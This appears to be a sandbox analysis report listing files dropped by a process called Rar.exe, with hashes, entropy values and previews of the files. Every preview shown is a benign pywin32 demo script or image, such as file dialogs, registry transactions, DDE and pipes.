Preview:	import os..import win32con.import win32gui..filter = "Python Scripts\0.py;.pyw;.pys\0Text files\0.txt\0".customfilter = "Other file types\0.\0"..fname, customfilter, flags = win32gui.GetSaveFileNameW(. InitialDir=os.environ["temp"],. Flags=win32con.OFN_ALLOWMULTISELECT \| win32con.OFN_EXPLORER,. File="somefilename",. DefExt="py",. Title="GetSaveFileNameW",. Filter=filter,. CustomFilter=customfilter,. FilterIndex=1,.)..print("save file names:", repr(fname)).print("filter used:", repr(customfilter)).print("Flags:", flags).for k, v in list(win32con.__dict__.items()):. if k.startswith("OFN_") and flags & v:. print("\t" + k)..fname, customfilter, flags = win32gui.GetOpenFileNameW(. InitialDir=os.environ["temp"],. Flags=win32con.OFN_ALLOWMULTISELECT \| win32con.OFN_EXPLORER,. File="somefilename",. DefExt="py",. Title="GetOpenFileNameW",. Filter=filter,. CustomFilter=customfilter,. FilterIndex=0,.)..print("open file names:", repr(f

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\NetValidatePasswordPolicy.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3508
Entropy (8bit):	4.535330596706897
Encrypted:	false
SSDEEP:	96:qLKMszTwVasgHhCIlwaoHHqohRohw36Fup8dZpIhyA:qLlszYa7QIlwaonqkRkw36c83gyA
MD5:	A703B33F30ADDE0B10973667F662CC7F
SHA1:	D93572C859D1AC36ABE313452812B68BC14B9E7C
SHA-256:	EA659B89FF3F9F1959C2B7AF8F075A0A2099533AFE7EB1CA7E72957732A05FF0
SHA-512:	45C55EE1037C5F25BE8F4B796A55D12E37DCB965F5DAC48E62903DB75AD984775CC5D13E81372EB94F8CE256CAD97E055F6BE8060CD835A213AFC468493E3459
Malicious:	false
Reputation:	low
Preview:	"""A demo of using win32net.NetValidatePasswordPolicy...Example usage:..% NetValidatePasswordPolicy.py --password=foo change.which might return:..> Result of 'change' validation is 0: The operation completed successfully...or depending on the policy:..> Result of 'change' validation is 2245: The password does not meet the.> password policy requirements. Check the minimum password length,.> password complexity and password history requirements...Adding --user doesn't seem to change the output (even the PasswordLastSet seen.when '-f' is used doesn't depend on the username), but theoretically it will.also check the password history for the specified user...% NetValidatePasswordPolicy.py auth..which always (with and without '-m') seems to return:..> Result of 'auth' validation is 2701: Password must change at next logon."""..import optparse.import sys.from pprint import pprint..import win32api.import win32net.import win32netcon...def main():. parser = optparse.OptionParser(. "%pr

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\OpenEncryptedFileRaw.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	5.051057812294554
Encrypted:	false
SSDEEP:	48:tYq2r8q7QjxNaerKec8dsgkcXKna4uuD44Drd:tYqSaaGKd8d/kcana4Brd
MD5:	1579B6CDBB6769E65896F32483CA08F5
SHA1:	D7FFA56CC5E829FFA5BCBB145644E0AB219DEB6C
SHA-256:	79D916989C1CA439CD602BF8C7A5FB7749421D64E0BFACBFF039B3F91E39A24A
SHA-512:	F34B2045343CD21CAB62955D197CEE1969998680FDA080CE7FFD4C904B9C38536193C2330E321FCCD14224F8258BBFC51DB963F61472C9293525C253B9BA9360
Malicious:	false
Reputation:	low
Preview:	import os..import win32api.import win32file.import winerror...def ReadCallback(input_buffer, data, buflen):. fnamein, fnameout, f = data. ## print fnamein, fnameout, buflen. f.write(input_buffer). ## python 2.3 throws an error if return value is a plain int. return winerror.ERROR_SUCCESS...def WriteCallback(output_buffer, data, buflen):. fnamebackup, fnameout, f = data. file_data = f.read(buflen). ## returning 0 as len terminates WriteEncryptedFileRaw. output_len = len(file_data). output_buffer[:output_len] = file_data. return winerror.ERROR_SUCCESS, output_len...tmp_dir = win32api.GetTempPath().dst_dir = win32api.GetTempFileName(tmp_dir, "oef")[0].os.remove(dst_dir).os.mkdir(dst_dir).print("Destination dir:", dst_dir)..## create an encrypted file.fname = win32api.GetTempFileName(dst_dir, "ref")[0].print("orig file:", fname).f = open(fname, "w").f.write("xxxxxxxxxxxxxxxx\n" * 32768).f.close().## add a couple of extra data streams.f = open(fname + ":stre

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\RegCreateKeyTransacted.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1912
Entropy (8bit):	4.996086312535218
Encrypted:	false
SSDEEP:	48:Zy02jhZ2V6v5kHEETdZUCOxtVbpVRN9H1Vbd0OVyVbrqVbH0:Z6jmAvUEEZZUFt7N9H1P/y1ql0
MD5:	741D38BEDF1C869EE787FC7ACAEC0021
SHA1:	13E733C166A8FDAFC61199E18B7D5E5D1CC5E8C7
SHA-256:	61E15FB3EBAB14C07BD6085672916195BA13259BFEE3E7DD4C6EF8DE99CF0BBB
SHA-512:	0B27730E1FEB8E10E03664789A588B8BA0B9E7B3D07F328B0E87C6F3A597B74A40A6BF9654A66035071C013D37EF543A65EAC0D4DFE074F4C6DE3FEDF655EA4C
Malicious:	false
Reputation:	low
Preview:	import win32api.import win32con.import win32transaction..keyname = "Pywin32 test transacted registry functions".subkeyname = "test transacted subkey".classname = "Transacted Class"..trans = win32transaction.CreateTransaction(Description="test RegCreateKeyTransacted").key, disp = win32api.RegCreateKeyEx(. win32con.HKEY_CURRENT_USER,. keyname,. samDesired=win32con.KEY_ALL_ACCESS,. Class=classname,.).## clean up any existing keys.for subk in win32api.RegEnumKeyExW(key):. win32api.RegDeleteKey(key, subk[0])..## reopen key in transacted mode.transacted_key = win32api.RegOpenKeyTransacted(. Key=win32con.HKEY_CURRENT_USER,. SubKey=keyname,. Transaction=trans,. samDesired=win32con.KEY_ALL_ACCESS,.).subkey, disp = win32api.RegCreateKeyEx(. transacted_key,. subkeyname,. Transaction=trans,. samDesired=win32con.KEY_ALL_ACCESS,. Class=classname,.)..## Newly created key should not be visible from non-transacted handle.subkeys = [s[0] for s in win32api.RegEnu

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\RegRestoreKey.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2063
Entropy (8bit):	5.11300797395737
Encrypted:	false
SSDEEP:	48:01b8JS3KmpnnP7iS8sE2Nzp6De+/L6ye+2mMvHwzpbA+exs:+b8JwKmpPX8sJzpse+/eye+2mMPwzpcG
MD5:	1BE4DC6030AA23DD32D4E7CAD3A1F0D8
SHA1:	49F6308BF8E3A6F7D765B699A02F17393EBE2FB0
SHA-256:	B02E9C41D6E51EBE3926C1746E5372E62AC2613F847FFF95C5D6F9EA368572DF
SHA-512:	6D78179DBE0CABE9A2EEDD9FBFDDD0BD33B2A397E0D48AB05AFA4970424E22F4C262526E489FBB26B7565A43764D7CCEE8BD827FF09FFF4106E334DFCAE453D6
Malicious:	false
Reputation:	low
Preview:	import os..import ntsecuritycon.import win32api.import win32con.import win32security.import winnt..temp_dir = win32api.GetTempPath().fname = win32api.GetTempFileName(temp_dir, "rsk")[0].print(fname).## file can't exist.os.remove(fname)..## enable backup and restore privs.required_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_BACKUP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),.).ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32con.TOKEN_READ \| win32con.TOKEN_ADJUST_PRIVILEGES.).adjusted_privs = win32security.AdjustTokenPrivileges(th, 0, required_privs)..try:. sa = win32security.SECURITY_ATTRIBUTES(). my_sid = win32security.GetTokenInformation(th, ntsecuritycon.TokenUser)[0]. sa.SECURITY_DESCRIPTOR.SetSecurityDescriptorOwner(my_sid, 0).. k, disp = win32api.RegCreateKeyEx(

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\SystemParametersInfo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7957
Entropy (8bit):	5.388617419802842
Encrypted:	false
SSDEEP:	96:3jwj8c3w/SDwculj0wyi+Brwx6yO15ulj0PwxH/sZ003arjrarVyz9ovDkMq/nqf:leZDBA695ZkH/sX3+xFcXcvff0vt0vk
MD5:	E9EFEB93CB39D5E58DC872610C559C9B
SHA1:	E857D85B5FCE044393BB761C2066D5C6D80DB517
SHA-256:	B57538B210D4FD23437E3F0F9FCDA52FDA038F6CCB7E3BF4DB626D2C3EF8F200
SHA-512:	3B48E942370DBD06744B114DCDB230096E3AAACBA426A95F0361B10D780CDBD11188837490EECECE37C1940CE2216A6AC95D63287E10699DC19E4F88FA972D0A
Malicious:	false
Reputation:	low
Preview:	import glob.import os.import time..import win32api.import win32con.import win32gui..## some of these tests will fail for systems prior to XP..for pname in (. ## Set actions all take an unsigned int in pvParam. "SPI_GETMOUSESPEED",. "SPI_GETACTIVEWNDTRKTIMEOUT",. "SPI_GETCARETWIDTH",. "SPI_GETFOREGROUNDFLASHCOUNT",. "SPI_GETFOREGROUNDLOCKTIMEOUT",. ## Set actions all take an unsigned int in uiParam. "SPI_GETWHEELSCROLLLINES",. "SPI_GETKEYBOARDDELAY",. "SPI_GETKEYBOARDSPEED",. "SPI_GETMOUSEHOVERHEIGHT",. "SPI_GETMOUSEHOVERWIDTH",. "SPI_GETMOUSEHOVERTIME",. "SPI_GETSCREENSAVETIMEOUT",. "SPI_GETMENUSHOWDELAY",. "SPI_GETLOWPOWERTIMEOUT",. "SPI_GETPOWEROFFTIMEOUT",. "SPI_GETBORDER",. ## below are winxp only:. "SPI_GETFONTSMOOTHINGCONTRAST",. "SPI_GETFONTSMOOTHINGTYPE",. "SPI_GETFOCUSBORDERHEIGHT",. "SPI_GETFOCUSBORDERWIDTH",. "SPI_GETMOUSECLICKLOCKTIME",.):. print(pname). cget = getattr(win32con, pname). cset =

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\c_extension\setup.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	767
Entropy (8bit):	4.806261092723215
Encrypted:	false
SSDEEP:	12:h2BqulhxkNMdtNDf4wqWDD1JGACGiT9nibQOK0+68oa3USS2sidBHS82q5Vcg0kS:hHujKMlEwq6rCnZib7EosEK35mg0cm
MD5:	1A58DDE5C50B46C1D1F8EA2DFC5864C0
SHA1:	97132512402D2EB34AC1D098BC7FFC4777BFDBD7
SHA-256:	25D58FD5E6D02A1DD5EE74E07446D8F16C0F1BFE244B26EF33E0D44FE75EE6F3
SHA-512:	4FCB571603C1AA1083ABAB5B7EC67C32B6FD2AA06AEC74B3F15276C61D828E9F2666F2871E48673B24B4E0EA2864ECB8B391F622FCC2EC6FCE20262C9FA62082
Malicious:	false
Reputation:	low
Preview:	# A sample distutils script to show to build your own.# extension module which extends pywintypes or pythoncom..#.# Use 'python setup.py build' to build this extension..import os.from distutils.core import Extension, setup.from sysconfig import get_paths..sources = ["win32_extension.cpp"].lib_dir = get_paths()["platlib"]..# Specify the directory where the PyWin32 .h and .lib files are installed..# If you are doing a win32com extension, you will also need to add.# win32com\Include and win32com\Libs..ext = Extension(. "win32_extension",. sources,. include_dirs=[os.path.join(lib_dir, "win32", "include")],. library_dirs=[os.path.join(lib_dir, "win32", "libs")],.)..setup(. name="win32 extension sample",. version="0.1",. ext_modules=[ext],.).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\cerapi.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7919
Entropy (8bit):	4.65097395781897
Encrypted:	false
SSDEEP:	192:9H9Yc+w3MkDGXmimgbbxpgMCxOo5EBrjm8TRd6i:9HbEDfbgxWR
MD5:	6A35220B5A6D51EFDA6A0149AB846E42
SHA1:	51A99F41083A92C1331E4DF817BBC0D6C9FAD7F3
SHA-256:	7BC6B2F12435DAD24854E120E4D9426269C1FD5A65C8F8BD1B5EB1B1BCACCF96
SHA-512:	4324DBB3D41B1DA26F4D78A0706EE4A41A0BCCDD7EFD5C626556C459E95A25302B3684BD6AC9AAAF0C5FEFE81B9C91674D82E17DD03CC4FD90744E5D55A03558
Malicious:	false
Reputation:	low
Preview:	# A demo of the Windows CE Remote API.#.# This connects to a CE device, and interacts with it...import getopt.import os.import sys..import win32api.import win32con.import win32event.import wincerapi...def DumpPythonRegistry():. try:. h = wincerapi.CeRegOpenKeyEx(. win32con.HKEY_LOCAL_MACHINE,. "Software\\Python\\PythonCore\\%s\\PythonPath" % sys.winver,. ). except win32api.error:. print("The remote device does not appear to have Python installed"). return 0. path, typ = wincerapi.CeRegQueryValueEx(h, None). print("The remote PythonPath is '%s'" % (str(path),)). h.Close(). return 1...def DumpRegistry(root, level=0):. # A recursive dump of the remote registry to test most functions.. h = wincerapi.CeRegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE, None). level_prefix = " " * level. index = 0. # Enumerate values.. while 1:. try:. name, data, typ = wincerapi.CeRegEnumValue(root, index).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\dde\ddeclient.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	4.946201052398342
Encrypted:	false
SSDEEP:	12:ggRALa3M6AwMT2BthR9Do1BOiw+VLu9yMr+:h5zAfEh5V+A9dr+
MD5:	2D792963A25E0425CEB0E4EBA9533610
SHA1:	73775E1E6143D54E131BC8BCD5F6B9B8D722B1A9
SHA-256:	DFE50A175652A73619BD31ED5A03567F38B1F4F9B0654273DA0072335A181D0B
SHA-512:	0F8DB0BF6A83E0BFD4DB14AF288668E1FFC24E488CCBBC6A098522C19F22F991F90F92D95050E74B82EEF449C1A17E537ABC40F7572D1F2A6A801B134718E95C
Malicious:	false
Reputation:	low
Preview:	# 'Request' example added jjk 11/20/98..import dde.import win32ui..server = dde.CreateServer().server.Create("TestClient")..conversation = dde.CreateConversation(server)..conversation.ConnectTo("RunAny", "RunAnyCommand").conversation.Exec("DoSomething").conversation.Exec("DoSomethingElse")..conversation.ConnectTo("RunAny", "ComputeStringLength").s = "abcdefghi".sl = conversation.Request(s).print('length of "%s" is %s' % (s, sl)).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\dde\ddeserver.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1093
Entropy (8bit):	4.931498351786163
Encrypted:	false
SSDEEP:	24:hhtBDAVAasXt8ABeuAf6dABenvAnD4AWbCQov1tX6QK:zD4YXt8Yeua2YenvAnkvbCQov1tX+
MD5:	3F9B69FE31E611D153BE7DF14BAF4C0D
SHA1:	B2ABC26EC0E8C5C849873A3EBC65D14555279B1B
SHA-256:	BDB3478C65F4F8AE8FD7AF89F87C8BD24EAC5B92B9146E4A42E699CAC6342B5A
SHA-512:	94FCF00EFA048DCE40A2753BE45CC8C9C475893BD1DBD2C050631C877A097E5FAEFAE1A34B47099C6C14B000DFAFF6EE4F7864250F8A4FE7D5A1230ABAB8E18E
Malicious:	false
Reputation:	low
Preview:	# 'Request' example added jjk 11/20/98..import dde.import win32ui.from pywin.mfc import object...class MySystemTopic(object.Object):. def __init__(self):. object.Object.__init__(self, dde.CreateServerSystemTopic()).. def Exec(self, cmd):. print("System Topic asked to exec", cmd)...class MyOtherTopic(object.Object):. def __init__(self, topicName):. object.Object.__init__(self, dde.CreateTopic(topicName)).. def Exec(self, cmd):. print("Other Topic asked to exec", cmd)...class MyRequestTopic(object.Object):. def __init__(self, topicName):. topic = dde.CreateTopic(topicName). topic.AddItem(dde.CreateStringItem("")). object.Object.__init__(self, topic).. def Request(self, aString):. print("Request Topic asked to compute length of:", aString). return str(len(aString))...server = dde.CreateServer().server.AddTopic(MySystemTopic()).server.AddTopic(MyOtherTopic("RunAnyCommand")).server.AddTopic(MyRequestTopic("Com

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\desktopmanager.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8141
Entropy (8bit):	4.832909840782592
Encrypted:	false
SSDEEP:	96:DTaWV0QcMBmT0KvPyS8271m87r8s8pFq46wo7j5bpad0/d:DVcRDr8271murH546wOj5bpae/d
MD5:	FF37EA7B3799F4BD22071D7DCB0C7FC7
SHA1:	59C09297374FC5AC1EF12A9E4DC8C5E6494F0B7C
SHA-256:	D7A85B4943DFC4F90973D46EF55DBEE8642BB24177EF95E561D5AFDD7462E018
SHA-512:	072ABEDC346D3F13DCA1026F854915EB38D5A476E30E349A6C16C41DF852BD217001B52F84A00693FEECC8FAB94849C8B93104F43843C796872A0A908DDA26C9
Malicious:	false
Reputation:	low
Preview:	# Demonstrates using a taskbar icon to create and navigate between desktops..import _thread.import io.import time.import traceback..import pywintypes.import win32api.import win32con.import win32gui.import win32process.import win32service..## "Shell_TrayWnd" is class of system tray window, broadcasts "TaskbarCreated" when initialized...def desktop_name_dlgproc(hwnd, msg, wparam, lparam):. """Handles messages from the desktop name dialog box""". if msg in (win32con.WM_CLOSE, win32con.WM_DESTROY):. win32gui.DestroyWindow(hwnd). elif msg == win32con.WM_COMMAND:. if wparam == win32con.IDOK:. desktop_name = win32gui.GetDlgItemText(hwnd, 72). print("new desktop name: ", desktop_name). win32gui.DestroyWindow(hwnd). create_desktop(desktop_name).. elif wparam == win32con.IDCANCEL:. win32gui.DestroyWindow(hwnd)...def get_new_desktop_name(parent_hwnd):. """Create a dialog box to ask the user for name of desktop

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\eventLogDemo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4421
Entropy (8bit):	4.394676077658835
Encrypted:	false
SSDEEP:	96:9Gs7qeCumrvPFWj9uOLTzMfOkqJq3NZMm5mmPFPgjX:9Gs7qenovPFWsGTYAtmPFPgjX
MD5:	A787AB4A5D05E3A55541E621CC5FA92B
SHA1:	8212FEA481713144E60BC21F5AF8138955F65FF4
SHA-256:	26001027A54ABA3A92CD496D7AC0799BCB595C8B77E98FFA04E74F2CFFDCA113
SHA-512:	6AC6087DEAE2958DF2192312E05A89AAE6AC14D9E9AFAB844D218A20D1729CC0A0D6B8CCC9E5BF4115F5529FFB0BBCF0B3AAC05BC4710C9DE9941CE0B57EBCF5
Malicious:	false
Reputation:	low
Preview:	import win32api # To translate NT Sids to account names..import win32con.import win32evtlog.import win32evtlogutil.import win32security...def ReadLog(computer, logType="Application", dumpEachRecord=0):. # read the entire log back.. h = win32evtlog.OpenEventLog(computer, logType). numRecords = win32evtlog.GetNumberOfEventLogRecords(h). # print "There are %d records" % numRecords.. num = 0. while 1:. objects = win32evtlog.ReadEventLog(. h,. win32evtlog.EVENTLOG_BACKWARDS_READ \| win32evtlog.EVENTLOG_SEQUENTIAL_READ,. 0,. ). if not objects:. break. for object in objects:. # get it for testing purposes, but dont print it.. msg = win32evtlogutil.SafeFormatMessage(object, logType). if object.Sid is not None:. try:. domain, user, typ = win32security.LookupAccountSid(. computer, object.Sid. )

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\getfilever.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	4.847240732987727
Encrypted:	false
SSDEEP:	24:j4TypXUFzmG73wIujOHRuMxqNclmIIzSrNyNHD4couDZgAuwsIo:aQXUDsILuMxXlmIoGYHxouDZHHsIo
MD5:	4F0AC86AB91546ECFCD2EAEFEC6A9516
SHA1:	847E7F42C9D282A1B8A7DFBEF8918341B76CFD75
SHA-256:	6DB2C4E7E5D5EFB2673FD1860F51627F0B84DB21A68AC331C51B3AFB41F7B684
SHA-512:	7A41AB6EE47275F89BEC82CE0EF9C6D417E88DCC094C653F95D1ABB88E6FC3FBA4F96A423071A32FEB2A3A8DD2D8AC1CBC9E2A33DA4C917ED234F347D1CB987D
Malicious:	false
Reputation:	low
Preview:	import os..import win32api..ver_strings = (. "Comments",. "InternalName",. "ProductName",. "CompanyName",. "LegalCopyright",. "ProductVersion",. "FileDescription",. "LegalTrademarks",. "PrivateBuild",. "FileVersion",. "OriginalFilename",. "SpecialBuild",.).fname = os.environ["comspec"].d = win32api.GetFileVersionInfo(fname, "\\").## backslash as parm returns dictionary of numeric info corresponding to VS_FIXEDFILEINFO struc.for n, v in d.items():. print(n, v)..pairs = win32api.GetFileVersionInfo(fname, "\\VarFileInfo\\Translation").## \VarFileInfo\Translation returns list of available (language, codepage) pairs that can be used to retreive string info.## any other must be of the form \StringfileInfo\%04X%04X\parm_name, middle two are language/codepage pair returned from above.for lang, codepage in pairs:. print("lang: ", lang, "codepage:", codepage). for ver_string in ver_strings:. str_info = "\\StringFileInfo\\%04X%04X\\%s" % (lang,

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\images\frowny.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PC bitmap, Windows 3.x format, 32 x 32 x 24, image size 3072, cbSize 3126, bits offset 54
Category:	dropped
Size (bytes):	3126
Entropy (8bit):	4.866601281143834
Encrypted:	false
SSDEEP:	48:QJbd92m1SGlnHZ4Yuu5I/p/UdCHMaVU42PVA0O0JR0Rj70Rp0OCv0QQH080D9m:QJbd911zlq/5JFj2NU6xyv9m
MD5:	67D3F80FA18D9298FB9BD346BF1905F3
SHA1:	8528E2B4B8E8681828518337925D2876809B7454
SHA-256:	4601AF795B74E772A5995E2A546C1D0ADACFC91034253E7B290BDFF4F34E22F5
SHA-512:	F52A0DF170AF6E1A43947C66EE5C97B9A2A7669A21FDABA24490CB97C5FD8450920E79AA2205D3E11DD7484D2CE95FAA7043D621E278025A9081C5F060BA7347
Malicious:	false
Reputation:	low
Preview:	BM6.......6...(... ... ...........................................................................................................................................................................................................................................................................................@..@............................................................................................@..@........................................................................................."..$..&.... .. .................................................................................."..$.... .. ........................................#.$#.$......................................."..$..&..)..+......................................#.$#.$.........................................."..$..&..)........................................................................................."..$..&..)..+................................$....................................................."..$..&..)

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\images\smiley.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PC bitmap, Windows 3.x format, 32 x 32 x 24, image size 3072, cbSize 3126, bits offset 54
Category:	dropped
Size (bytes):	3126
Entropy (8bit):	4.039217657290414
Encrypted:	false
SSDEEP:	48:i27oH9YEJtIq0Q0x0P0n5Z0wZaG0WQv0NN0C0nw:dfRYw
MD5:	CA4F178B4A665A1DA21AEA80C7E796F7
SHA1:	3A7E64ADC019F45290C43B04E6A1072A55470586
SHA-256:	C22E778D80B2E76DDF1588FF1588331B577141D12BC3EA30DBFFDD7E85FD82C0
SHA-512:	97BDC1BAE0FAC2582ABF11F318937318D33EFF1664CCE499C4D95316A25CB87B0599E9E4CAA5D911B0F465E4F491A4E2F23E4EE87E14D9A0C8CE1FD6150982E9
Malicious:	false
Reputation:	low
Preview:	BM6.......6...(... ... .................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................#.$#.$..........................................................................................#.$#.$..........................................................................................................................................................................................$...............................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\mmapfile_demo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	2888
Entropy (8bit):	4.8375775005209265
Encrypted:	false
SSDEEP:	48:knDxrrsqXh6/6LCN8Czanw7IbHbfqVGvr7lFqkVlL7ukeTX1:knDxrrTXg/6LC3GsKbfqVGjPqG3c1
MD5:	A333358AEA4B17F65D614B8ABFE55ED4
SHA1:	94F0486D40A0D9A6C65AE10CDD78122B37DB7F24
SHA-256:	FFED0CEB4B51A0800A19600776E389A112E465E842BCFC98EDE1E8426AF0DF5F
SHA-512:	F6B99C26C726D736A119AA10A4907AB61E8FA36CBB138EC7FAFBAD1E68A55BFC78F300B214639C7BB25F0DD1F6810F8E1AE7A1DE4C23FF43917C3E22A59AA45B
Malicious:	false
Reputation:	low
Preview:	import os.import tempfile..import mmapfile.import win32api.import winerror.from pywin32_testutil import str2bytes..system_info = win32api.GetSystemInfo().page_size = system_info[1].alloc_size = system_info[7]..fname = tempfile.mktemp().mapping_name = os.path.split(fname)[1].fsize = 8 * page_size.print(fname, fsize, mapping_name)..m1 = mmapfile.mmapfile(File=fname, Name=mapping_name, MaximumSize=fsize).m1.seek(100).m1.write_byte(str2bytes("?")).m1.seek(-1, 1).assert m1.read_byte() == str2bytes("?")..## A reopened named mapping should have exact same size as original mapping.m2 = mmapfile.mmapfile(Name=mapping_name, File=None, MaximumSize=fsize * 2).assert m2.size() == m1.size().m1.seek(0, 0).m1.write(fsize * str2bytes("s")).assert m2.read(fsize) == fsize * str2bytes("s")..move_src = 100.move_dest = 500.move_size = 150..m2.seek(move_src, 0).assert m2.tell() == move_src.m2.write(str2bytes("m") * move_size).m2.move(move_dest, move_src, move_size).m2.seek(move_dest, 0).assert m2.read(move_s

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\pipes\cat.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	335
Entropy (8bit):	4.496864057756722
Encrypted:	false
SSDEEP:	6:9Msoe/ErAzXKkYHPUHyHmYTR7VgWxvyLW3StbYTR7Vf3v//ZeSZ/XJXrdiLUs6:OVe/EUTbZHyHmYTbvvebYTb/v/tJ7gL4
MD5:	9958EDE52157CBF9F56DFF07C4499108
SHA1:	5D1EABF96A11361804DDA8FB94BF9E3E902FA540
SHA-256:	DA45A4922FA32C3668876043811CCCC43198C89C263B17FBD3CDE4BDDD988496
SHA-512:	575187E4345C37B119838503400E938560BF5AAEE2B6CAAA62835BAC76EA832DC06E779C35EE898748116FA69807ABA580D5462490BE7738E2BC029E9855FBC1
Malicious:	false
Reputation:	low
Preview:	"""cat.py.a version of unix cat, tweaked to show off runproc.py."""..import sys..data = sys.stdin.read(1).sys.stdout.write(data).sys.stdout.flush().while data:. data = sys.stdin.read(1). sys.stdout.write(data). sys.stdout.flush().# Just here to have something to read from stderr..sys.stderr.write("Blah...")..# end of cat.py.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\pipes\runproc.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4029
Entropy (8bit):	4.550391036233513
Encrypted:	false
SSDEEP:	96:qG4T/T68SbTXy62/K+KovQtw6guU/Tm3Z+Bo2x:qbLgXy6WKcHIEig
MD5:	EA0603E314B6C0CB3396B100E9AA1A2C
SHA1:	FE3D6C231A64E599C31582F58FD2B45C014C728B
SHA-256:	837AADE7BA490576FD507189F3BDA6EB0521F56EF44822A8BCD1057D1E271F08
SHA-512:	3A58C4569855F08E252D5C339A6B80308EA1FAD4168E9F50B9387631CFC118DEAD08F56DFA8D718614A24FC17F956637DEB10F36CAC95711C5A2A757941049DE
Malicious:	false
Reputation:	low
Preview:	"""runproc.py..start a process with three inherited pipes..Try to write to and read from those.."""..import msvcrt.import os..import win32api.import win32con.import win32file.import win32pipe.import win32process.import win32security...class Process:. def run(self, cmdline):. # security attributes for pipes. sAttrs = win32security.SECURITY_ATTRIBUTES(). sAttrs.bInheritHandle = 1.. # create pipes. hStdin_r, self.hStdin_w = win32pipe.CreatePipe(sAttrs, 0). self.hStdout_r, hStdout_w = win32pipe.CreatePipe(sAttrs, 0). self.hStderr_r, hStderr_w = win32pipe.CreatePipe(sAttrs, 0).. # set the info structure for the new process.. StartupInfo = win32process.STARTUPINFO(). StartupInfo.hStdInput = hStdin_r. StartupInfo.hStdOutput = hStdout_w. StartupInfo.hStdError = hStderr_w. StartupInfo.dwFlags = win32process.STARTF_USESTDHANDLES. # Mark doesn't support wShowWindow yet.. # StartupInfo.dwFla

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\print_desktop.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2859
Entropy (8bit):	5.16397412167526
Encrypted:	false
SSDEEP:	48:3Iusl8P/XKhIH+DvhcqR1sPH8C72hDhKqMhKNtwKGzQigwFz3rYA/9:3IuslyfJ+9NR1OOAQihz3rYA/9
MD5:	6358F39A6DC68902315A154AA803745C
SHA1:	32C7399756A96B1A7EC0CEC7708713B7A7B5A904
SHA-256:	008B4576E46966832603683F16735B22AD0950969DFA362FF593E169C665EB12
